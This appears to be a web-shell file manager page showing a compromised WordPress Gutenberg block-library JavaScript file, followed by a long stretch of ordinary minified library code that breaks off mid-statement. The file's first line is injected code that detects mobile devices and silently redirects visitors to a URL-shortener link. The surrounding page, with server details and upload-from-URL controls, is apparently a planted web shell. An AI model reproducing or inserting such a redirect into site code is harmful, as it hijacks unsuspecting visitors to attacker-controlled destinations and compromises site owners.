Server : LiteSpeed
System : Linux quebec.us.hostns.io 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64
User : gazetufm ( 1431)
PHP Version : 8.1.35
Disable Function : NONE
Directory :  /home2/gazetufm/www/wp/wp-content/plugins/gutenberg/build/scripts/block-library/

📁 Create New:
⬆️ Upload File:
Current Dir [ Not Writable ] Root [ Writable ]


OR Upload from URL:
URL: Save as:

📄 File: index.min.js

Path: //home2/gazetufm/www/wp/wp-content/plugins/gutenberg/build/scripts/block-library/index.min.js

Size: 1.12 MB

Permissions: 0444

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
"use strict";var wp;(wp||={}).blockLibrary=(()=>{var vde=Object.create;var wy=Object.defineProperty;var bde=Object.getOwnPropertyDescriptor;var yde=Object.getOwnPropertyNames;var xde=Object.getPrototypeOf,_de=Object.prototype.hasOwnProperty;var kde=(e=>typeof require<"u"?require:typeof Proxy<"u"?new Proxy(e,{get:(t,r)=>(typeof require<"u"?require:t)[r]}):e)(function(e){if(typeof require<"u")return require.apply(this,arguments);throw Error('Dynamic require of "'+e+'" is not supported')});var Te=(e,t)=>()=>(t||e((t={exports:{}}).exports,t),t.exports),q=(e,t)=>{for(var r in t)wy(e,r,{get:t[r],enumerable:!0})},MR=(e,t,r,a)=>{if(t&&typeof t=="object"||typeof t=="function")for(let n of yde(t))!_de.call(e,n)&&n!==r&&wy(e,n,{get:()=>t[n],enumerable:!(a=bde(t,n))||a.enumerable});return e};var o=(e,t,r)=>(r=e!=null?vde(xde(e)):{},MR(t||!e||!e.__esModule?wy(r,"default",{value:e,enumerable:!0}):r,e)),wde=e=>MR(wy({},"__esModule",{value:!0}),e);var U=Te((D6e,AR)=>{AR.exports=window.wp.blocks});var ue=Te((L6e,RR)=>{RR.exports=window.wp.compose});var z=Te((M6e,zR)=>{zR.exports=window.wp.data});var T=Te((A6e,VR)=>{VR.exports=window.wp.blockEditor});var Iu=Te((R6e,FR)=>{FR.exports=window.wp.serverSideRender});var I=Te((z6e,OR)=>{OR.exports=window.wp.i18n});var W8=Te(or=>{"use strict";Object.defineProperty(or,"__esModule",{value:!0});or.Doctype=or.CDATA=or.Tag=or.Style=or.Script=or.Comment=or.Directive=or.Text=or.Root=or.isTag=or.ElementType=void 0;var Zn;(function(e){e.Root="root",e.Text="text",e.Directive="directive",e.Comment="comment",e.Script="script",e.Style="style",e.Tag="tag",e.CDATA="cdata",e.Doctype="doctype"})(Zn=or.ElementType||(or.ElementType={}));function Sde(e){return e.type===Zn.Tag||e.type===Zn.Script||e.type===Zn.Style}or.isTag=Sde;or.Root=Zn.Root;or.Text=Zn.Text;or.Directive=Zn.Directive;or.Comment=Zn.Comment;or.Script=Zn.Script;or.Style=Zn.Style;or.Tag=Zn.Tag;or.CDATA=Zn.CDATA;or.Doctype=Zn.Doctype});var K8=Te(Ue=>{"use strict";var Eu=Ue&&Ue.__extends||(function(){var e=function(t,r){return e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(a,n){a.__proto__=n}||function(a,n){for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(a[i]=n[i])},e(t,r)};return function(t,r){if(typeof r!="function"&&r!==null)throw new TypeError("Class extends value "+String(r)+" is not a constructor or null");e(t,r);function a(){this.constructor=t}t.prototype=r===null?Object.create(r):(a.prototype=r.prototype,new a)}})(),u0=Ue&&Ue.__assign||function(){return u0=Object.assign||function(e){for(var t,r=1,a=arguments.length;r<a;r++){t=arguments[r];for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])}return e},u0.apply(this,arguments)};Object.defineProperty(Ue,"__esModule",{value:!0});Ue.cloneNode=Ue.hasChildren=Ue.isDocument=Ue.isDirective=Ue.isComment=Ue.isText=Ue.isCDATA=Ue.isTag=Ue.Element=Ue.Document=Ue.CDATA=Ue.NodeWithChildren=Ue.ProcessingInstruction=Ue.Comment=Ue.Text=Ue.DataNode=Ue.Node=void 0;var gn=W8(),q8=(function(){function e(){this.parent=null,this.prev=null,this.next=null,this.startIndex=null,this.endIndex=null}return Object.defineProperty(e.prototype,"parentNode",{get:function(){return this.parent},set:function(t){this.parent=t},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"previousSibling",{get:function(){return this.prev},set:function(t){this.prev=t},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"nextSibling",{get:function(){return this.next},set:function(t){this.next=t},enumerable:!1,configurable:!0}),e.prototype.cloneNode=function(t){return t===void 0&&(t=!1),Z8(this,t)},e})();Ue.Node=q8;var Cy=(function(e){Eu(t,e);function t(r){var a=e.call(this)||this;return a.data=r,a}return Object.defineProperty(t.prototype,"nodeValue",{get:function(){return this.data},set:function(r){this.data=r},enumerable:!1,configurable:!0}),t})(q8);Ue.DataNode=Cy;var jR=(function(e){Eu(t,e);function t(){var r=e!==null&&e.apply(this,arguments)||this;return r.type=gn.ElementType.Text,r}return Object.defineProperty(t.prototype,"nodeType",{get:function(){return 3},enumerable:!1,configurable:!0}),t})(Cy);Ue.Text=jR;var UR=(function(e){Eu(t,e);function t(){var r=e!==null&&e.apply(this,arguments)||this;return r.type=gn.ElementType.Comment,r}return Object.defineProperty(t.prototype,"nodeType",{get:function(){return 8},enumerable:!1,configurable:!0}),t})(Cy);Ue.Comment=UR;var GR=(function(e){Eu(t,e);function t(r,a){var n=e.call(this,a)||this;return n.name=r,n.type=gn.ElementType.Directive,n}return Object.defineProperty(t.prototype,"nodeType",{get:function(){return 1},enumerable:!1,configurable:!0}),t})(Cy);Ue.ProcessingInstruction=GR;var Sy=(function(e){Eu(t,e);function t(r){var a=e.call(this)||this;return a.children=r,a}return Object.defineProperty(t.prototype,"firstChild",{get:function(){var r;return(r=this.children[0])!==null&&r!==void 0?r:null},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"lastChild",{get:function(){return this.children.length>0?this.children[this.children.length-1]:null},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"childNodes",{get:function(){return this.children},set:function(r){this.children=r},enumerable:!1,configurable:!0}),t})(q8);Ue.NodeWithChildren=Sy;var WR=(function(e){Eu(t,e);function t(){var r=e!==null&&e.apply(this,arguments)||this;return r.type=gn.ElementType.CDATA,r}return Object.defineProperty(t.prototype,"nodeType",{get:function(){return 4},enumerable:!1,configurable:!0}),t})(Sy);Ue.CDATA=WR;var $R=(function(e){Eu(t,e);function t(){var r=e!==null&&e.apply(this,arguments)||this;return r.type=gn.ElementType.Root,r}return Object.defineProperty(t.prototype,"nodeType",{get:function(){return 9},enumerable:!1,configurable:!0}),t})(Sy);Ue.Document=$R;var qR=(function(e){Eu(t,e);function t(r,a,n,i){n===void 0&&(n=[]),i===void 0&&(i=r==="script"?gn.ElementType.Script:r==="style"?gn.ElementType.Style:gn.ElementType.Tag);var l=e.call(this,n)||this;return l.name=r,l.attribs=a,l.type=i,l}return Object.defineProperty(t.prototype,"nodeType",{get:function(){return 1},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"tagName",{get:function(){return this.name},set:function(r){this.name=r},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"attributes",{get:function(){var r=this;return Object.keys(this.attribs).map(function(a){var n,i;return{name:a,value:r.attribs[a],namespace:(n=r["x-attribsNamespace"])===null||n===void 0?void 0:n[a],prefix:(i=r["x-attribsPrefix"])===null||i===void 0?void 0:i[a]}})},enumerable:!1,configurable:!0}),t})(Sy);Ue.Element=qR;function ZR(e){return(0,gn.isTag)(e)}Ue.isTag=ZR;function KR(e){return e.type===gn.ElementType.CDATA}Ue.isCDATA=KR;function QR(e){return e.type===gn.ElementType.Text}Ue.isText=QR;function YR(e){return e.type===gn.ElementType.Comment}Ue.isComment=YR;function XR(e){return e.type===gn.ElementType.Directive}Ue.isDirective=XR;function JR(e){return e.type===gn.ElementType.Root}Ue.isDocument=JR;function Tde(e){return Object.prototype.hasOwnProperty.call(e,"children")}Ue.hasChildren=Tde;function Z8(e,t){t===void 0&&(t=!1);var r;if(QR(e))r=new jR(e.data);else if(YR(e))r=new UR(e.data);else if(ZR(e)){var a=t?$8(e.children):[],n=new qR(e.name,u0({},e.attribs),a);a.forEach(function(c){return c.parent=n}),e.namespace!=null&&(n.namespace=e.namespace),e["x-attribsNamespace"]&&(n["x-attribsNamespace"]=u0({},e["x-attribsNamespace"])),e["x-attribsPrefix"]&&(n["x-attribsPrefix"]=u0({},e["x-attribsPrefix"])),r=n}else if(KR(e)){var a=t?$8(e.children):[],i=new WR(a);a.forEach(function(u){return u.parent=i}),r=i}else if(JR(e)){var a=t?$8(e.children):[],l=new $R(a);a.forEach(function(u){return u.parent=l}),e["x-mode"]&&(l["x-mode"]=e["x-mode"]),r=l}else if(XR(e)){var s=new GR(e.name,e.data);e["x-name"]!=null&&(s["x-name"]=e["x-name"],s["x-publicId"]=e["x-publicId"],s["x-systemId"]=e["x-systemId"]),r=s}else throw new Error("Not implemented yet: ".concat(e.type));return r.startIndex=e.startIndex,r.endIndex=e.endIndex,e.sourceCodeLocation!=null&&(r.sourceCodeLocation=e.sourceCodeLocation),r}Ue.cloneNode=Z8;function $8(e){for(var t=e.map(function(a){return Z8(a,!0)}),r=1;r<t.length;r++)t[r].prev=t[r-1],t[r-1].next=t[r];return t}});var rz=Te(bs=>{"use strict";var Pde=bs&&bs.__createBinding||(Object.create?(function(e,t,r,a){a===void 0&&(a=r);var n=Object.getOwnPropertyDescriptor(t,r);(!n||("get"in n?!t.__esModule:n.writable||n.configurable))&&(n={enumerable:!0,get:function(){return t[r]}}),Object.defineProperty(e,a,n)}):(function(e,t,r,a){a===void 0&&(a=r),e[a]=t[r]})),Bde=bs&&bs.__exportStar||function(e,t){for(var r in e)r!=="default"&&!Object.prototype.hasOwnProperty.call(t,r)&&Pde(t,e,r)};Object.defineProperty(bs,"__esModule",{value:!0});bs.DomHandler=void 0;var Q8=W8(),Nu=K8();Bde(K8(),bs);var ez={withStartIndices:!1,withEndIndices:!1,xmlMode:!1},tz=(function(){function e(t,r,a){this.dom=[],this.root=new Nu.Document(this.dom),this.done=!1,this.tagStack=[this.root],this.lastNode=null,this.parser=null,typeof r=="function"&&(a=r,r=ez),typeof t=="object"&&(r=t,t=void 0),this.callback=t??null,this.options=r??ez,this.elementCB=a??null}return e.prototype.onparserinit=function(t){this.parser=t},e.prototype.onreset=function(){this.dom=[],this.root=new Nu.Document(this.dom),this.done=!1,this.tagStack=[this.root],this.lastNode=null,this.parser=null},e.prototype.onend=function(){this.done||(this.done=!0,this.parser=null,this.handleCallback(null))},e.prototype.onerror=function(t){this.handleCallback(t)},e.prototype.onclosetag=function(){this.lastNode=null;var t=this.tagStack.pop();this.options.withEndIndices&&(t.endIndex=this.parser.endIndex),this.elementCB&&this.elementCB(t)},e.prototype.onopentag=function(t,r){var a=this.options.xmlMode?Q8.ElementType.Tag:void 0,n=new Nu.Element(t,r,void 0,a);this.addNode(n),this.tagStack.push(n)},e.prototype.ontext=function(t){var r=this.lastNode;if(r&&r.type===Q8.ElementType.Text)r.data+=t,this.options.withEndIndices&&(r.endIndex=this.parser.endIndex);else{var a=new Nu.Text(t);this.addNode(a),this.lastNode=a}},e.prototype.oncomment=function(t){if(this.lastNode&&this.lastNode.type===Q8.ElementType.Comment){this.lastNode.data+=t;return}var r=new Nu.Comment(t);this.addNode(r),this.lastNode=r},e.prototype.oncommentend=function(){this.lastNode=null},e.prototype.oncdatastart=function(){var t=new Nu.Text(""),r=new Nu.CDATA([t]);this.addNode(r),t.parent=r,this.lastNode=t},e.prototype.oncdataend=function(){this.lastNode=null},e.prototype.onprocessinginstruction=function(t,r){var a=new Nu.ProcessingInstruction(t,r);this.addNode(a)},e.prototype.handleCallback=function(t){if(typeof this.callback=="function")this.callback(t,this.dom);else if(t)throw t},e.prototype.addNode=function(t){var r=this.tagStack[this.tagStack.length-1],a=r.children[r.children.length-1];this.options.withStartIndices&&(t.startIndex=this.parser.startIndex),this.options.withEndIndices&&(t.endIndex=this.parser.endIndex),r.children.push(t),a&&(t.prev=a,a.next=t),t.parent=r,this.lastNode=null},e})();bs.DomHandler=tz;bs.default=tz});var oz=Te(Vo=>{"use strict";Object.defineProperty(Vo,"__esModule",{value:!0});Vo.CARRIAGE_RETURN_PLACEHOLDER_REGEX=Vo.CARRIAGE_RETURN_PLACEHOLDER=Vo.CARRIAGE_RETURN_REGEX=Vo.CARRIAGE_RETURN=Vo.CASE_SENSITIVE_TAG_NAMES_MAP=Vo.CASE_SENSITIVE_TAG_NAMES=void 0;Vo.CASE_SENSITIVE_TAG_NAMES=["animateMotion","animateTransform","clipPath","feBlend","feColorMatrix","feComponentTransfer","feComposite","feConvolveMatrix","feDiffuseLighting","feDisplacementMap","feDropShadow","feFlood","feFuncA","feFuncB","feFuncG","feFuncR","feGaussianBlur","feImage","feMerge","feMergeNode","feMorphology","feOffset","fePointLight","feSpecularLighting","feSpotLight","feTile","feTurbulence","foreignObject","linearGradient","radialGradient","textPath"];Vo.CASE_SENSITIVE_TAG_NAMES_MAP=Vo.CASE_SENSITIVE_TAG_NAMES.reduce(function(e,t){return e[t.toLowerCase()]=t,e},{});Vo.CARRIAGE_RETURN="\r";Vo.CARRIAGE_RETURN_REGEX=new RegExp(Vo.CARRIAGE_RETURN,"g");Vo.CARRIAGE_RETURN_PLACEHOLDER="__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_".concat(Date.now(),"__");Vo.CARRIAGE_RETURN_PLACEHOLDER_REGEX=new RegExp(Vo.CARRIAGE_RETURN_PLACEHOLDER,"g")});var Y8=Te(vf=>{"use strict";Object.defineProperty(vf,"__esModule",{value:!0});vf.formatAttributes=az;vf.escapeSpecialCharacters=Nde;vf.revertEscapedCharacters=nz;vf.formatDOM=iz;var Ty=rz(),m0=oz();function Ide(e){return m0.CASE_SENSITIVE_TAG_NAMES_MAP[e]}function az(e){for(var t={},r=0,a=e.length;r<a;r++){var n=e[r];t[n.name]=n.value}return t}function Ede(e){e=e.toLowerCase();var t=Ide(e);return t||e}function Nde(e){return e.replace(m0.CARRIAGE_RETURN_REGEX,m0.CARRIAGE_RETURN_PLACEHOLDER)}function nz(e){return e.replace(m0.CARRIAGE_RETURN_PLACEHOLDER_REGEX,m0.CARRIAGE_RETURN)}function iz(e,t,r){t===void 0&&(t=null);for(var a=[],n,i=0,l=e.length;i<l;i++){var s=e[i];switch(s.nodeType){case 1:{var c=Ede(s.nodeName);n=new Ty.Element(c,az(s.attributes)),n.children=iz(c==="template"?s.content.childNodes:s.childNodes,n);break}case 3:n=new Ty.Text(nz(s.nodeValue));break;case 8:n=new Ty.Comment(s.nodeValue);break;default:continue}var u=a[i-1]||null;u&&(u.next=n),n.parent=t,n.prev=u,n.next=null,a.push(n)}return r&&(n=new Ty.ProcessingInstruction(r.substring(0,r.indexOf(" ")).toLowerCase(),r),n.next=a[0]||null,n.parent=t,a.unshift(n),a[1]&&(a[1].prev=a[0])),a}});var fz=Te(e7=>{"use strict";Object.defineProperty(e7,"__esModule",{value:!0});e7.default=Mde;var Dde=Y8(),lz="html",sz="head",Py="body",Lde=/<([a-zA-Z]+[0-9]?)/,cz=/<head[^]*>/i,uz=/<body[^]*>/i,Iy=function(e,t){throw new Error("This browser does not support `document.implementation.createHTMLDocument`")},X8=function(e,t){throw new Error("This browser does not support `DOMParser.prototype.parseFromString`")},mz=typeof window=="object"&&window.DOMParser;typeof mz=="function"&&(pz=new mz,dz="text/html",X8=function(e,t){return t&&(e="<".concat(t,">").concat(e,"</").concat(t,">")),pz.parseFromString(e,dz)},Iy=X8);var pz,dz;typeof document=="object"&&document.implementation&&(p0=document.implementation.createHTMLDocument(),Iy=function(e,t){if(t){var r=p0.documentElement.querySelector(t);return r&&(r.innerHTML=e),p0}return p0.documentElement.innerHTML=e,p0});var p0,By=typeof document=="object"&&document.createElement("template"),J8;By&&By.content&&(J8=function(e){return By.innerHTML=e,By.content.childNodes});function Mde(e){var t,r;e=(0,Dde.escapeSpecialCharacters)(e);var a=e.match(Lde),n=a&&a[1]?a[1].toLowerCase():"";switch(n){case lz:{var i=X8(e);if(!cz.test(e)){var l=i.querySelector(sz);(t=l?.parentNode)===null||t===void 0||t.removeChild(l)}if(!uz.test(e)){var l=i.querySelector(Py);(r=l?.parentNode)===null||r===void 0||r.removeChild(l)}return i.querySelectorAll(lz)}case sz:case Py:{var s=Iy(e).querySelectorAll(n);return uz.test(e)&&cz.test(e)?s[0].parentNode.childNodes:s}default:{if(J8)return J8(e);var l=Iy(e,Py).querySelector(Py);return l.childNodes}}}});var hz=Te(d0=>{"use strict";var Ade=d0&&d0.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(d0,"__esModule",{value:!0});d0.default=Fde;var Rde=Ade(fz()),zde=Y8(),Vde=/<(![a-zA-Z\s]+)>/;function Fde(e){if(typeof e!="string")throw new TypeError("First argument must be a string");if(!e)return[];var t=e.match(Vde),r=t?t[1]:void 0;return(0,zde.formatDOM)((0,Rde.default)(e),null,r)}});var gz=Te(Ey=>{var Ode=0;Ey.SAME=Ode;var Hde=1;Ey.CAMELCASE=Hde;Ey.possibleStandardNames={accept:0,acceptCharset:1,"accept-charset":"acceptCharset",accessKey:1,action:0,allowFullScreen:1,alt:0,as:0,async:0,autoCapitalize:1,autoComplete:1,autoCorrect:1,autoFocus:1,autoPlay:1,autoSave:1,capture:0,cellPadding:1,cellSpacing:1,challenge:0,charSet:1,checked:0,children:0,cite:0,class:"className",classID:1,className:1,cols:0,colSpan:1,content:0,contentEditable:1,contextMenu:1,controls:0,controlsList:1,coords:0,crossOrigin:1,dangerouslySetInnerHTML:1,data:0,dateTime:1,default:0,defaultChecked:1,defaultValue:1,defer:0,dir:0,disabled:0,disablePictureInPicture:1,disableRemotePlayback:1,download:0,draggable:0,encType:1,enterKeyHint:1,for:"htmlFor",form:0,formMethod:1,formAction:1,formEncType:1,formNoValidate:1,formTarget:1,frameBorder:1,headers:0,height:0,hidden:0,high:0,href:0,hrefLang:1,htmlFor:1,httpEquiv:1,"http-equiv":"httpEquiv",icon:0,id:0,innerHTML:1,inputMode:1,integrity:0,is:0,itemID:1,itemProp:1,itemRef:1,itemScope:1,itemType:1,keyParams:1,keyType:1,kind:0,label:0,lang:0,list:0,loop:0,low:0,manifest:0,marginWidth:1,marginHeight:1,max:0,maxLength:1,media:0,mediaGroup:1,method:0,min:0,minLength:1,multiple:0,muted:0,name:0,noModule:1,nonce:0,noValidate:1,open:0,optimum:0,pattern:0,placeholder:0,playsInline:1,poster:0,preload:0,profile:0,radioGroup:1,readOnly:1,referrerPolicy:1,rel:0,required:0,reversed:0,role:0,rows:0,rowSpan:1,sandbox:0,scope:0,scoped:0,scrolling:0,seamless:0,selected:0,shape:0,size:0,sizes:0,span:0,spellCheck:1,src:0,srcDoc:1,srcLang:1,srcSet:1,start:0,step:0,style:0,summary:0,tabIndex:1,target:0,title:0,type:0,useMap:1,value:0,width:0,wmode:0,wrap:0,about:0,accentHeight:1,"accent-height":"accentHeight",accumulate:0,additive:0,alignmentBaseline:1,"alignment-baseline":"alignmentBaseline",allowReorder:1,alphabetic:0,amplitude:0,arabicForm:1,"arabic-form":"arabicForm",ascent:0,attributeName:1,attributeType:1,autoReverse:1,azimuth:0,baseFrequency:1,baselineShift:1,"baseline-shift":"baselineShift",baseProfile:1,bbox:0,begin:0,bias:0,by:0,calcMode:1,capHeight:1,"cap-height":"capHeight",clip:0,clipPath:1,"clip-path":"clipPath",clipPathUnits:1,clipRule:1,"clip-rule":"clipRule",color:0,colorInterpolation:1,"color-interpolation":"colorInterpolation",colorInterpolationFilters:1,"color-interpolation-filters":"colorInterpolationFilters",colorProfile:1,"color-profile":"colorProfile",colorRendering:1,"color-rendering":"colorRendering",contentScriptType:1,contentStyleType:1,cursor:0,cx:0,cy:0,d:0,datatype:0,decelerate:0,descent:0,diffuseConstant:1,direction:0,display:0,divisor:0,dominantBaseline:1,"dominant-baseline":"dominantBaseline",dur:0,dx:0,dy:0,edgeMode:1,elevation:0,enableBackground:1,"enable-background":"enableBackground",end:0,exponent:0,externalResourcesRequired:1,fill:0,fillOpacity:1,"fill-opacity":"fillOpacity",fillRule:1,"fill-rule":"fillRule",filter:0,filterRes:1,filterUnits:1,floodOpacity:1,"flood-opacity":"floodOpacity",floodColor:1,"flood-color":"floodColor",focusable:0,fontFamily:1,"font-family":"fontFamily",fontSize:1,"font-size":"fontSize",fontSizeAdjust:1,"font-size-adjust":"fontSizeAdjust",fontStretch:1,"font-stretch":"fontStretch",fontStyle:1,"font-style":"fontStyle",fontVariant:1,"font-variant":"fontVariant",fontWeight:1,"font-weight":"fontWeight",format:0,from:0,fx:0,fy:0,g1:0,g2:0,glyphName:1,"glyph-name":"glyphName",glyphOrientationHorizontal:1,"glyph-orientation-horizontal":"glyphOrientationHorizontal",glyphOrientationVertical:1,"glyph-orientation-vertical":"glyphOrientationVertical",glyphRef:1,gradientTransform:1,gradientUnits:1,hanging:0,horizAdvX:1,"horiz-adv-x":"horizAdvX",horizOriginX:1,"horiz-origin-x":"horizOriginX",ideographic:0,imageRendering:1,"image-rendering":"imageRendering",in2:0,in:0,inlist:0,intercept:0,k1:0,k2:0,k3:0,k4:0,k:0,kernelMatrix:1,kernelUnitLength:1,kerning:0,keyPoints:1,keySplines:1,keyTimes:1,lengthAdjust:1,letterSpacing:1,"letter-spacing":"letterSpacing",lightingColor:1,"lighting-color":"lightingColor",limitingConeAngle:1,local:0,markerEnd:1,"marker-end":"markerEnd",markerHeight:1,markerMid:1,"marker-mid":"markerMid",markerStart:1,"marker-start":"markerStart",markerUnits:1,markerWidth:1,mask:0,maskContentUnits:1,maskUnits:1,mathematical:0,mode:0,numOctaves:1,offset:0,opacity:0,operator:0,order:0,orient:0,orientation:0,origin:0,overflow:0,overlinePosition:1,"overline-position":"overlinePosition",overlineThickness:1,"overline-thickness":"overlineThickness",paintOrder:1,"paint-order":"paintOrder",panose1:0,"panose-1":"panose1",pathLength:1,patternContentUnits:1,patternTransform:1,patternUnits:1,pointerEvents:1,"pointer-events":"pointerEvents",points:0,pointsAtX:1,pointsAtY:1,pointsAtZ:1,prefix:0,preserveAlpha:1,preserveAspectRatio:1,primitiveUnits:1,property:0,r:0,radius:0,refX:1,refY:1,renderingIntent:1,"rendering-intent":"renderingIntent",repeatCount:1,repeatDur:1,requiredExtensions:1,requiredFeatures:1,resource:0,restart:0,result:0,results:0,rotate:0,rx:0,ry:0,scale:0,security:0,seed:0,shapeRendering:1,"shape-rendering":"shapeRendering",slope:0,spacing:0,specularConstant:1,specularExponent:1,speed:0,spreadMethod:1,startOffset:1,stdDeviation:1,stemh:0,stemv:0,stitchTiles:1,stopColor:1,"stop-color":"stopColor",stopOpacity:1,"stop-opacity":"stopOpacity",strikethroughPosition:1,"strikethrough-position":"strikethroughPosition",strikethroughThickness:1,"strikethrough-thickness":"strikethroughThickness",string:0,stroke:0,strokeDasharray:1,"stroke-dasharray":"strokeDasharray",strokeDashoffset:1,"stroke-dashoffset":"strokeDashoffset",strokeLinecap:1,"stroke-linecap":"strokeLinecap",strokeLinejoin:1,"stroke-linejoin":"strokeLinejoin",strokeMiterlimit:1,"stroke-miterlimit":"strokeMiterlimit",strokeWidth:1,"stroke-width":"strokeWidth",strokeOpacity:1,"stroke-opacity":"strokeOpacity",suppressContentEditableWarning:1,suppressHydrationWarning:1,surfaceScale:1,systemLanguage:1,tableValues:1,targetX:1,targetY:1,textAnchor:1,"text-anchor":"textAnchor",textDecoration:1,"text-decoration":"textDecoration",textLength:1,textRendering:1,"text-rendering":"textRendering",to:0,transform:0,typeof:0,u1:0,u2:0,underlinePosition:1,"underline-position":"underlinePosition",underlineThickness:1,"underline-thickness":"underlineThickness",unicode:0,unicodeBidi:1,"unicode-bidi":"unicodeBidi",unicodeRange:1,"unicode-range":"unicodeRange",unitsPerEm:1,"units-per-em":"unitsPerEm",unselectable:0,vAlphabetic:1,"v-alphabetic":"vAlphabetic",values:0,vectorEffect:1,"vector-effect":"vectorEffect",version:0,vertAdvY:1,"vert-adv-y":"vertAdvY",vertOriginX:1,"vert-origin-x":"vertOriginX",vertOriginY:1,"vert-origin-y":"vertOriginY",vHanging:1,"v-hanging":"vHanging",vIdeographic:1,"v-ideographic":"vIdeographic",viewBox:1,viewTarget:1,visibility:0,vMathematical:1,"v-mathematical":"vMathematical",vocab:0,widths:0,wordSpacing:1,"word-spacing":"wordSpacing",writingMode:1,"writing-mode":"writingMode",x1:0,x2:0,x:0,xChannelSelector:1,xHeight:1,"x-height":"xHeight",xlinkActuate:1,"xlink:actuate":"xlinkActuate",xlinkArcrole:1,"xlink:arcrole":"xlinkArcrole",xlinkHref:1,"xlink:href":"xlinkHref",xlinkRole:1,"xlink:role":"xlinkRole",xlinkShow:1,"xlink:show":"xlinkShow",xlinkTitle:1,"xlink:title":"xlinkTitle",xlinkType:1,"xlink:type":"xlinkType",xmlBase:1,"xml:base":"xmlBase",xmlLang:1,"xml:lang":"xmlLang",xmlns:0,"xml:space":"xmlSpace",xmlnsXlink:1,"xmlns:xlink":"xmlnsXlink",xmlSpace:1,y1:0,y2:0,y:0,yChannelSelector:1,z:0,zoomAndPan:1}});var bz=Te(xl=>{"use strict";function jde(e){return Fo.hasOwnProperty(e)?Fo[e]:null}function za(e,t,r,a,n,i,l){this.acceptsBooleans=t===2||t===3||t===4,this.attributeName=a,this.attributeNamespace=n,this.mustUseProperty=r,this.propertyName=e,this.type=t,this.sanitizeURL=i,this.removeEmptyString=l}var Fo={},Ude=["children","dangerouslySetInnerHTML","defaultValue","defaultChecked","innerHTML","suppressContentEditableWarning","suppressHydrationWarning","style"];Ude.forEach(e=>{Fo[e]=new za(e,0,!1,e,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(([e,t])=>{Fo[e]=new za(e,1,!1,t,null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(e=>{Fo[e]=new za(e,2,!1,e.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(e=>{Fo[e]=new za(e,2,!1,e,null,!1,!1)});["allowFullScreen","async","autoFocus","autoPlay","controls","default","defer","disabled","disablePictureInPicture","disableRemotePlayback","formNoValidate","hidden","loop","noModule","noValidate","open","playsInline","readOnly","required","reversed","scoped","seamless","itemScope"].forEach(e=>{Fo[e]=new za(e,3,!1,e.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(e=>{Fo[e]=new za(e,3,!0,e,null,!1,!1)});["capture","download"].forEach(e=>{Fo[e]=new za(e,4,!1,e,null,!1,!1)});["cols","rows","size","span"].forEach(e=>{Fo[e]=new za(e,6,!1,e,null,!1,!1)});["rowSpan","start"].forEach(e=>{Fo[e]=new za(e,5,!1,e.toLowerCase(),null,!1,!1)});var t7=/[\-\:]([a-z])/g,r7=e=>e[1].toUpperCase();["accent-height","alignment-baseline","arabic-form","baseline-shift","cap-height","clip-path","clip-rule","color-interpolation","color-interpolation-filters","color-profile","color-rendering","dominant-baseline","enable-background","fill-opacity","fill-rule","flood-color","flood-opacity","font-family","font-size","font-size-adjust","font-stretch","font-style","font-variant","font-weight","glyph-name","glyph-orientation-horizontal","glyph-orientation-vertical","horiz-adv-x","horiz-origin-x","image-rendering","letter-spacing","lighting-color","marker-end","marker-mid","marker-start","overline-position","overline-thickness","paint-order","panose-1","pointer-events","rendering-intent","shape-rendering","stop-color","stop-opacity","strikethrough-position","strikethrough-thickness","stroke-dasharray","stroke-dashoffset","stroke-linecap","stroke-linejoin","stroke-miterlimit","stroke-opacity","stroke-width","text-anchor","text-decoration","text-rendering","underline-position","underline-thickness","unicode-bidi","unicode-range","units-per-em","v-alphabetic","v-hanging","v-ideographic","v-mathematical","vector-effect","vert-adv-y","vert-origin-x","vert-origin-y","word-spacing","writing-mode","xmlns:xlink","x-height"].forEach(e=>{let t=e.replace(t7,r7);Fo[t]=new za(t,1,!1,e,null,!1,!1)});["xlink:actuate","xlink:arcrole","xlink:role","xlink:show","xlink:title","xlink:type"].forEach(e=>{let t=e.replace(t7,r7);Fo[t]=new za(t,1,!1,e,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(e=>{let t=e.replace(t7,r7);Fo[t]=new za(t,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(e=>{Fo[e]=new za(e,1,!1,e.toLowerCase(),null,!1,!1)});var Gde="xlinkHref";Fo[Gde]=new za("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(e=>{Fo[e]=new za(e,1,!1,e.toLowerCase(),null,!0,!0)});var{CAMELCASE:Wde,SAME:$de,possibleStandardNames:vz}=gz(),qde=":A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD",Zde=qde+"\\-.0-9\\u00B7\\u0300-\\u036F\\u203F-\\u2040",Kde=RegExp.prototype.test.bind(new RegExp("^(data|aria)-["+Zde+"]*$")),Qde=Object.keys(vz).reduce((e,t)=>{let r=vz[t];return 